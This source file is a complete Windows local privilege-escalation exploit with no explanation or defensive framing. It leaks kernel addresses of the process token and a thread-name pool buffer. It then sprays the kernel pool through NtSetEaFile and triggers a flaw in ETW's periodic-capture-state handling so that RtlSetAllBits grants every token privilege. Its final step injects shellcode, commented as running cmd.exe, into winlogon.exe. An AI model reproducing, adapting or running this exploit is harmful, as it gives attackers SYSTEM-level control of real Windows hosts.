
#pragma once
#include <Windows.h>
#include <guiddef.h>
#include <evntprov.h>
#include <initguid.h>
#include <conio.h>
#include <stdio.h>
#include <winternl.h>

#include <evntprov.h>

#include <evntrace.h>

#include <strsafe.h>
#include <psapi.h>
#include <tlhelp32.h>
//#include <ntstatus.h>
#include <processthreadsapi.h>
#pragma comment(lib, "ntdll.lib")
//#include <ntstatus.h>

typedef struct _ETWP_NOTIFICATION_HEADER
{
	/* 0x0000 */ enum _ETW_NOTIFICATION_TYPE NotificationType;
	/* 0x0004 */ unsigned long NotificationSize;
	/* 0x0008 */ long RefCount;
	/* 0x000c */ unsigned char ReplyRequested;
	union
	{
		/* 0x0010 */ unsigned long ReplyIndex;
		/* 0x0010 */ unsigned long Timeout;
	}; /* size: 0x0004 */
	union
	{
		/* 0x0014 */ unsigned long ReplyCount;
		/* 0x0014 */ unsigned long NotifyeeCount;
	}; /* size: 0x0004 */
	union
	{
		/* 0x0018 */ unsigned __int64 ReplyHandle;
		/* 0x0018 */ void* ReplyObject;
		/* 0x0018 */ unsigned long RegIndex;
	}; /* size: 0x0008 */
	/* 0x0020 */ unsigned long TargetPID;
	/* 0x0024 */ unsigned long SourcePID;
	/* 0x0028 */ struct _GUID DestinationGuid;
	/* 0x0038 */ struct _GUID SourceGuid;
} ETWP_NOTIFICATION_HEADER, * PETWP_NOTIFICATION_HEADER; /* size: 0x0048 */

typedef enum _ETW_FUNCTION_CODE
{
	EtwFunctionStartTrace = 1,
	EtwFunctionStopTrace = 2,
	EtwFunctionQueryTrace = 3,
	EtwFunctionUpdateTrace = 4,
	EtwFunctionFlushTrace = 5,
	EtwFunctionIncrementTraceFile = 6,

	EtwFunctionRealtimeConnect = 11,
	EtwFunctionWdiDispatchControl = 13,
	EtwFunctionRealtimeDisconnectConsumerByHandle = 14,
	EtwFunctionReceiveNotification = 16,
	EtwFunctionTraceEnableGuid = 17, // EtwTraceNotifyGuid
	EtwFunctionSendReplyDataBlock = 18,
	EtwFunctionReceiveReplyDataBlock = 19,
	EtwFunctionWdiUpdateSem = 20,
	EtwFunctionGetTraceGuidList = 21,
	EtwFunctionGetTraceGuidInfo = 22,
	EtwFunctionEnumerateTraceGuids = 23,
	// EtwFunction??? = 24,
	EtwFunctionQueryReferenceTime = 25,
	EtwFunctionTrackProviderBinary = 26,
	EtwFunctionAddNotificationEvent = 27,
	EtwFunctionUpdateDisallowList = 28,
	EtwFunctionUseDescriptorTypeUm = 31,
	EtwFunctionGetTraceGroupList = 32,
	EtwFunctionGetTraceGroupInfo = 33,
	EtwFunctionGetDisallowList = 34,
	EtwFunctionSetCompressionSettings = 35,
	EtwFunctionGetCompressionSettings = 36,
	EtwFunctionUpdatePeriodicCaptureState = 37,
	EtwFunctionGetPrivateSessionTraceHandle = 38,
	EtwFunctionRegisterPrivateSession = 39,
	EtwFunctionQuerySessionDemuxObject = 40,
	EtwFunctionSetProviderBinaryTracking = 41,
} ETW_FUNCTION_CODE;

#define SystemBigPoolInformation 0x42
#define ThreadNameInformation 0x26

#define DATA_TO_COPY "AAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCDDDDDDDDDDDDDDD"

typedef struct _ETW_UPDATE_PERIODIC_CAPTURE_STATE
{
	UINT32 	LoggerId;
	UINT32 	DueTime;	//system time units (100-nanosecond intervals)
	UINT32 	NumOfGuids;
	GUID 	Guids[ANYSIZE_ARRAY];
} ETW_UPDATE_PERIODIC_CAPTURE_STATE, * PETW_UPDATE_PERIODIC_CAPTURE_STATE;


typedef struct _TRACE_ENABLE_CONTEXT
{
	USHORT LoggerId;
	UCHAR Level;
	UCHAR InternalFlag;
	ULONG EnableFlags;
} TRACE_ENABLE_CONTEXT, * PTRACE_ENABLE_CONTEXT;

typedef enum _ETW_NOTIFICATION_TYPE
{
	EtwNotificationTypeNoReply = 1,
	EtwNotificationTypeLegacyEnable = 2,
	EtwNotificationTypeEnable = 3,
	EtwNotificationTypePrivateLogger = 4,
	EtwNotificationTypePerflib = 5,
	EtwNotificationTypeAudio = 6,
	EtwNotificationTypeSession = 7,
	EtwNotificationTypeReserved = 8,
	EtwNotificationTypeCredentialUI = 9,
	EtwNotificationTypeInProcSession = 10,
	EtwNotificationTypeMax = 11,
} ETW_NOTIFICATION_TYPE;


typedef struct _ETW_ENABLE_NOTIFICATION_PACKET
{
	ETWP_NOTIFICATION_HEADER DataBlockHeader;
	TRACE_ENABLE_INFO EnableInfo;
	TRACE_ENABLE_CONTEXT LegacyEnableContext;
	ULONG LegacyProviderEnabled;
	ULONG FilterCount;
} ETW_ENABLE_NOTIFICATION_PACKET, * PETW_ENABLE_NOTIFICATION_PACKET;

EXTERN_C
NTSTATUS
WINAPI
NtTraceControl(
	DWORD Operation,
	LPVOID InputBuffer,
	DWORD InputSize,
	LPVOID OutputBuffer,
	DWORD OutputSize,
	LPDWORD BytesReturned
);

EXTERN_C
ULONG
EtwNotificationRegister(
	LPCGUID Guid,
	ULONG Type,
	PVOID Callback,
	PVOID Context,
	REGHANDLE* RegHandle
);
#define MAXIMUM_FILENAME_LENGTH 255 
#define SystemModuleInformation  0xb
#define SystemHandleInformation 0x10

#define LOGFILE_PATH L"C:\\Users\\Public\\test.etl"
#define LOGSESSION_NAME L"My Event Trace Session"

typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength);


typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(
	HANDLE ProcessHandle,
	void* BaseAddress,
	const void* SourceBuffer,
	size_t Length,
	size_t* BytesWritten);


//_NtQuerySystemInformation fnNtQuerySystemInformation;


typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
	USHORT UniqueProcessId;
	USHORT CreatorBackTraceIndex;
	UCHAR ObjectTypeIndex;
	UCHAR HandleAttributes;
	USHORT HandleValue;
	PVOID Object;
	ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;


typedef struct _SYSTEM_HANDLE_INFORMATION {
	ULONG NumberOfHandles;
	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;


DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
	PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);

	DWORD outBuffer = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);

	if (status == (NTSTATUS)0xC0000004L)
	{
		free(buffer);
		buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer);
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
	}

	if (!buffer)
	{
		printf("[-] NtQuerySystemInformation error \n");
		return 0;
	}

	for (size_t i = 0; i < buffer->NumberOfHandles; i++)
	{
		DWORD objTypeNumber = buffer->Handles[i].ObjectTypeIndex;

		if (buffer->Handles[i].UniqueProcessId == GetCurrentProcessId() && buffer->Handles[i].ObjectTypeIndex == type)
		{
			if (handle == (HANDLE)buffer->Handles[i].HandleValue)
			{
				DWORD64 object = (DWORD64)buffer->Handles[i].Object;
				free(buffer);
				return object;
			}
		}
	}
	printf("[-] handle not found\n");
	free(buffer);
	return 0;
}
#define ThreadNameInformation 0x26

// mimic nt!UNICODE_STRING
// sizeof(UNICODE_STRING) must be 0x10 for the syscall to succeed.


typedef NTSTATUS(*fnNtSetInformationThreadPtr)(HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength);

//typedef NTSTATUS(*fnNtSetInformationFile)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation,ULONG Length,int FileInformationClass);
//
//
//typedef NTSTATUS(*fnNtQueryInformationFile)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, int FileInformationClass);


#define	FileBasicInformation  4
#define	FileStandardInformation  5
#define	FilePositionInformation 14
#define	FileEndOfFileInformation  20


typedef NTSTATUS(WINAPI* pNtQueryInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, int);


typedef NTSTATUS(WINAPI* pNtSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, int);

typedef NTSTATUS(WINAPI* pNtSetEaFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG);


fnNtSetInformationThreadPtr NtSetInformationThread = nullptr;

pNtSetInformationFile NtSetInformationFile = nullptr;

pNtQueryInformationFile NtQueryInformationFile = nullptr;

pNtSetEaFile NtSetEaFile = nullptr;

#define ThreadNameInformation 0x26

int  fnExploit(int lpParameter)
{


	do
	{
		Sleep(0x500000);


	} while (true);


}


typedef struct
{
	DWORD64 Address;
	DWORD64 PoolSize;
	char PoolTag[4];
	char Padding[4];
} BIG_POOL_INFO, * PBIG_POOL_INFO;
typedef struct _FILE_BASIC_INFORMATION {
	LARGE_INTEGER CreationTime;
	LARGE_INTEGER LastAccessTime;
	LARGE_INTEGER LastWriteTime;
	LARGE_INTEGER ChangeTime;
	ULONG         FileAttributes;
} FILE_BASIC_INFORMATION, * PFILE_BASIC_INFORMATION;

typedef struct _FILE_FULL_EA_INFORMATION {
	ULONG  NextEntryOffset;
	UCHAR  Flags;
	UCHAR  EaNameLength;
	USHORT EaValueLength;
	CHAR   EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

LPVOID ntoskrnlBase = nullptr;
DWORD64 LeakEporcessKtoken()
{

	LPVOID drivers[1024] = {};
	DWORD cbNeeded = NULL;
	ntoskrnlBase = nullptr;
	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
	{
		if (drivers[0])
		{
			ntoskrnlBase = drivers[0];
			printf("[-] ntoskrnlBase=%p\n", ntoskrnlBase);
		}
	}
	else
	{
		printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
	}

	HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
	if (!proc)
	{
		printf("[-] OpenProcess failed\n");
		return 0;
	}

	HANDLE token = 0;
	if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
	{
		printf("[-] OpenProcessToken failed\n");
		return 0;
	}

	DWORD64 ktoken = 0;
	for (int i = 0; i < 0x100; i++)
	{
		ktoken = GetKernelPointer(token, 0x5);

		if (ktoken != NULL)
		{
			break;
		}

	}
	return ktoken;
}




DWORD64 LeakTheadNamePoolAddr(DWORD64 ktoken)
{
	DWORD dwThreadID = 0;

	HANDLE	hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fnExploit, 0, 0, &dwThreadID);

	printf("[-] hTread==%p,dwThreadID==%d\n", hThread, dwThreadID);

	USHORT dwSize = 4096;

	LPVOID lpMessageToStore = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE);


	memset(lpMessageToStore, 0x41, 0x20);

	//BitMapHeader->SizeOfBitMap
	*(DWORD64*)lpMessageToStore = 0x80;

	//BitMapHeader->Buffer
	*(DWORD64*)((DWORD64)lpMessageToStore + 8) = ktoken;

	UNICODE_STRING target = {};



	target.Length = dwSize;
	target.MaximumLength = 0xffff;
	target.Buffer = (PWSTR)lpMessageToStore;


	HRESULT hRes = NtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &target, 0x10);


	DWORD dwBufSize = 1024 * 1024;
	DWORD dwOutSize;
	LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize);

	hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);

	DWORD dwExpectedSize = target.Length + sizeof(UNICODE_STRING);

	ULONG_PTR StartAddress = (ULONG_PTR)pBuffer;
	ULONG_PTR EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
	ULONG_PTR ptr = StartAddress + 8;
	while (ptr < EndAddress)
	{
		PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr;
		//printf("Name:%s Size:%llx Address:%llx\n", info->PoolTag, info->PoolSize, info->Address);
		if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize)
		{
			return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
		}
		ptr += sizeof(BIG_POOL_INFO);
	}

	printf("[-] Lead Pool Addr Failed\n");

	return NULL;
}


void Trigger_Exploit(DWORD64 dwRtlSetAllBits, DWORD64 Fake_RtlBitMapAddr)
{



	HANDLE file = NULL;

	IO_STATUS_BLOCK iostatus;



	FILE_BASIC_INFORMATION fbi = {};



	file = CreateFile(L"\\\\.\\PEAuth", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, NULL, NULL);
	//file = CreateFile(L"\\\\.\\COM1", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_OVERLAPPED, NULL);
	if (file == INVALID_HANDLE_VALUE) {
		printf("CreateFile Failed ,Err:%x\n", GetLastError());
		return;
	}




	char* pbuffer = (char*)malloc(0x30);

	memset((void*)pbuffer, 0, 0x30);


	*(DWORD64*)pbuffer = 0;											//WorkItem.List.Flink

	*(DWORD64*)(pbuffer + 16) = (DWORD64)dwRtlSetAllBits;			//WorkItem.WorkerRoutine 

	*(DWORD64*)(pbuffer + 24) = (DWORD64)Fake_RtlBitMapAddr;		//WorkItem.Parameter


	ULONG status = 0;

	ULONG returnLength = 0;

	ETWP_NOTIFICATION_HEADER outputBuffer;

	GUID SessionGuid;
	GUID ProviderGuid;
	GUID buf1guid;
	GUID buf2guid;
	CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &SessionGuid);


	CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &ProviderGuid);


	CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &buf1guid);


	CLSIDFromString(L"{6b4012d0-22b6-464d-a553-20e9618403a2}", &buf2guid);



	TRACEHANDLE SessionHandle = 0;
	EVENT_TRACE_PROPERTIES* pSessionProperties = NULL;
	ULONG BufferSize = 0;
	BOOL TraceOn = TRUE;

	// Allocate memory for the session properties. The memory must
	// be large enough to include the log file name and session name,
	// which get appended to the end of the session properties structure.

	BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + sizeof(LOGSESSION_NAME);
	pSessionProperties = (EVENT_TRACE_PROPERTIES*)malloc(BufferSize);
	if (NULL == pSessionProperties)
	{
		wprintf(L"Unable to allocate %d bytes for properties structure.\n", BufferSize);
		//return 0;
	}

	// Set the session properties. You only append the log file name
	// to the properties structure; the StartTrace function appends
	// the session name for you.

	ZeroMemory(pSessionProperties, BufferSize);
	pSessionProperties->Wnode.BufferSize = BufferSize;
	pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
	pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
	pSessionProperties->Wnode.Guid = SessionGuid;
	pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_SEQUENTIAL;
	pSessionProperties->MaximumFileSize = 1;  // 1 MB
	pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
	pSessionProperties->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
	StringCbCopy((LPWSTR)((char*)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);

	// Create the trace session.

	status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME, pSessionProperties);
	if (ERROR_SUCCESS != status)
	{
		wprintf(L"[-] StartTrace() failed with %d\n", status);
		//goto cleanup;
	}
	wprintf(L"[-] StartTrace()  with %d ,SessionHandle %p\n", status, SessionHandle);



	status = EnableTraceEx2(
		SessionHandle,
		(LPCGUID)&buf1guid,
		EVENT_CONTROL_CODE_ENABLE_PROVIDER,
		TRACE_LEVEL_INFORMATION,
		0,
		0,
		0,
		NULL
	);

	if (ERROR_SUCCESS != status)
	{
		wprintf(L"[-] EnableTrace() failed with %d\n", status);
		TraceOn = FALSE;
		//goto cleanup;
	}



	printf("[-] Logid Index:%x\n", SessionHandle);



	ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff1 = {
		(UINT32)SessionHandle,
		0,
		1,
		{ buf1guid } };

	NTSTATUS status1 = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff1, sizeof(InBuff1), &InBuff1, sizeof(InBuff1),
		&returnLength);
	printf("[-] NtTraceControl 1 %d\n", status1);



	ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff2 = {
		(UINT32)SessionHandle,
		0,
		1,
		{ buf2guid } };



	NTSTATUS status2 = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff2, sizeof(InBuff2), &outputBuffer, sizeof(outputBuffer), &returnLength);

	printf("[-] NtTraceControl 2 %d\n", status2);

	//Sleep(2000);

	printf("[-] Spray....\n");

	for (int i = 0; i < 0x10000; i++)
	{
		NtSetEaFile(file, &iostatus, pbuffer, 0x30);
	}


	NTSTATUS status3 = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff1, sizeof(InBuff1), &InBuff1, sizeof(InBuff1), &returnLength);




	printf("[-] NtTraceControl 3 %d\n", status3);
	Sleep(0x2000);

	status = EnableTraceEx2(
		SessionHandle,
		(LPCGUID)&ProviderGuid,
		EVENT_CONTROL_CODE_DISABLE_PROVIDER,
		TRACE_LEVEL_INFORMATION,
		0,
		0,
		0,
		NULL
	);


	status = ControlTrace(SessionHandle, LOGSESSION_NAME, pSessionProperties, EVENT_TRACE_CONTROL_STOP);




}
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
	PVOID Object;
	ULONG_PTR UniqueProcessId;
	ULONG_PTR HandleValue;
	ULONG GrantedAccess;
	USHORT CreatorBackTraceIndex;
	USHORT ObjectTypeIndex;
	ULONG HandleAttributes;
	ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
	ULONG_PTR NumberOfHandles;
	ULONG_PTR Reserved;
	SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
typedef struct _SYSTEM_MODULE_ENTRY_INFO
{
	HANDLE Section;
	PVOID MappedBase;
	PVOID ImageBase;
	ULONG ImageSize;
	ULONG Flags;
	USHORT LoadOrderIndex;
	USHORT InitOrderIndex;
	USHORT LoadCount;
	USHORT OffsetToFileName;
	UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY_INFO, * PSYSTEM_MODULE_ENTRY_INFO;

typedef struct _SYSTEM_MODULE_INFORMATION
{
	ULONG NumberOfModules;
	SYSTEM_MODULE_ENTRY_INFO Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
#define  SystemExtendedHandleInformation 64

// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";

SIZE_T GetObjectKernelAddress(HANDLE object)
{
	PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
	ULONG	handleInfoSize = 0x1000;
	ULONG	retLength;
	NTSTATUS status = NULL;
	SIZE_T kernelAddress = 0;
	BOOL bFind = FALSE;

	while (TRUE)
	{
		handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);

		NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);

		if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH
		{
			LocalFree(handleInfo);

			handleInfoSize = retLength + 0x100;
			handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);

			NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);

			if (NT_SUCCESS(status))
			{
				for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++)
				{
					if ((USHORT)object == 0x4)
					{
						if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue)
						{
							kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
							bFind = TRUE;
							break;
						}
					}
					else
					{
						if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue)
						{
							kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
							bFind = TRUE;
							break;
						}
					}
				}
			}

		}

		if (handleInfo)
			LocalFree(handleInfo);

		if (bFind)
			break;
	}

	return kernelAddress;
}



DWORD64 GetModuleAddr(const char* modName)
{
	PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);

	DWORD outBuffer = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);

	if (status == ((NTSTATUS)0xC0000004L))//STATUS_INFO_LENGTH_MISMATCH
	{
		free(buffer);
		buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
	}

	if (!buffer)
	{
		printf("[-] NtQuerySystemInformation error\n");
		return 0;
	}

	for (unsigned int i = 0; i < buffer->NumberOfModules; i++)
	{
		PVOID kernelImageBase = buffer->Modules[i].ImageBase;
		PCHAR kernelImage = (PCHAR)buffer->Modules[i].FullPathName;
		if (_stricmp(kernelImage, modName) == 0)
		{
			free(buffer);
			return (DWORD64)kernelImageBase;
		}
	}
	free(buffer);
	return 0;
}

DWORD64 GetGadgetAddr(const char* name)
{
	DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
	HMODULE mod = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
	if (!mod)
	{
		printf("[-] leaking ntoskrnl version\n");
		return 0;
	}
	DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
	DWORD64 returnValue = base + offset - (DWORD64)mod;
	//printf("[+] FunAddr: %p\n", (DWORD64)returnValue);
	FreeLibrary(mod);
	return returnValue;
}

void InjectToWinlogon()
{
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	int pid = -1;
	if (Process32First(snapshot, &entry))
	{
		while (Process32Next(snapshot, &entry))
		{
			if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
			{
				pid = entry.th32ProcessID;
				break;
			}
		}
	}

	CloseHandle(snapshot);

	if (pid < 0)
	{
		printf("Could not find process\n");
		return;
	}

	HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (!h)
	{
		printf("Could not open process: %x", GetLastError());
		return;
	}

	void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!buffer)
	{
		printf("[-] VirtualAllocEx failed\n");
	}

	if (!buffer)
	{
		printf("[-] remote allocation failed");
		return;
	}

	if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
	{
		printf("[-] WriteProcessMemory failed");
		return;
	}

	HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);

	if (hthread == INVALID_HANDLE_VALUE)
	{
		printf("[-] CreateRemoteThread failed");
		return;
	}
}



int main()
{
	HANDLE hCurProcessHandle;
	HANDLE hCurThreadHandle;

	if (!DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hCurProcessHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) ||
		!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hCurThreadHandle, 0, FALSE, DUPLICATE_SAME_ACCESS))
		return -1;



	DWORD64	dwKernelEprocessAddr = GetObjectKernelAddress(hCurProcessHandle);


	DWORD64 dwKernelEthreadAddr = GetObjectKernelAddress(hCurThreadHandle);


	printf("[-] dwKernelEprocessAddr=%p\n", dwKernelEprocessAddr);

	printf("[-] dwKernelEthreadAddr=%p\n", dwKernelEthreadAddr);



	NtSetInformationFile = (pNtSetInformationFile)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetInformationFile");

	NtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationFile");

	NtSetInformationThread = (fnNtSetInformationThreadPtr)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetInformationThread");


	NtSetEaFile = (pNtSetEaFile)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetEaFile");

	if (NtSetInformationFile == NULL)
	{
		printf("[-] Getting NtSetInformationFile Failed\n");
	}

	if (NtQueryInformationFile == NULL)
	{
		printf("[-] Getting NtQueryInformationFile Failed\n");
	}

	if (NtSetInformationThread == NULL)
	{
		printf("[-] Getting NtSetInformationThread Failed\n");
	}

	if (NtSetEaFile == NULL)
	{
		printf("[-] Getting NtSetEaFile Failed\n");
	}




	DWORD64 ktoken = LeakEporcessKtoken();

	printf("[-] ktoken addr =%p\n", ktoken);


	DWORD64 Fake_RtlBitMapAddr = LeakTheadNamePoolAddr(ktoken + 0x40);

	printf("[-] Fake_RtlBitMapAddr=%p\n", Fake_RtlBitMapAddr);

	DWORD64 GadgetAddr = GetGadgetAddr("RtlSetAllBits");

	printf("[-] GadgetAddr addr =%p\n", GadgetAddr);



	Trigger_Exploit(GadgetAddr, Fake_RtlBitMapAddr);


	printf("[-] InjectToWinlogon");

	InjectToWinlogon();


	return 0;
}

